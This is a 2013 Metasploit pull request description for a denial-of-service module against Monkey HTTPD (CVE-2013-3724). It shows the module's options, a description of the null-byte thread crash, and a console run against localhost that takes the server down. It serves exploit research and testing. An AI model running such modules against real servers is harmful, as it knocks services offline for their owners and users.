rapid7/metasploit-framework — pull request #1913 by dougsko (2013-06-05 16:47:36+00:00)
Title: CVE-2013-3724 Monkey HTTPD DoS

msf auxiliary(monkey_null) > info

Name: Monkey HTTPD Null Byte Request
Module: auxiliary/dos/http/monkey_null
Version: 0
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
Doug Prostko

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no Use a proxy chain
RHOST yes The target address
RPORT 2001 yes The target port
VHOST no HTTP server virtual host

Description:
Sending a request containing null bytes causes a thread to crash. If
you crash all of the threads, the server becomes useless. Affects
versions <= 1.2.0.

msf auxiliary(monkey_null) > set rhost localhost
rhost => localhost
msf auxiliary(monkey_null) > run

[*] Sending DoS packet to localhost:2001
[*] Sending DoS packet to localhost:2001
[*] Sending DoS packet to localhost:2001
[+] Monkey server is down!
[*] Auxiliary module execution completed
msf auxiliary(monkey_null) >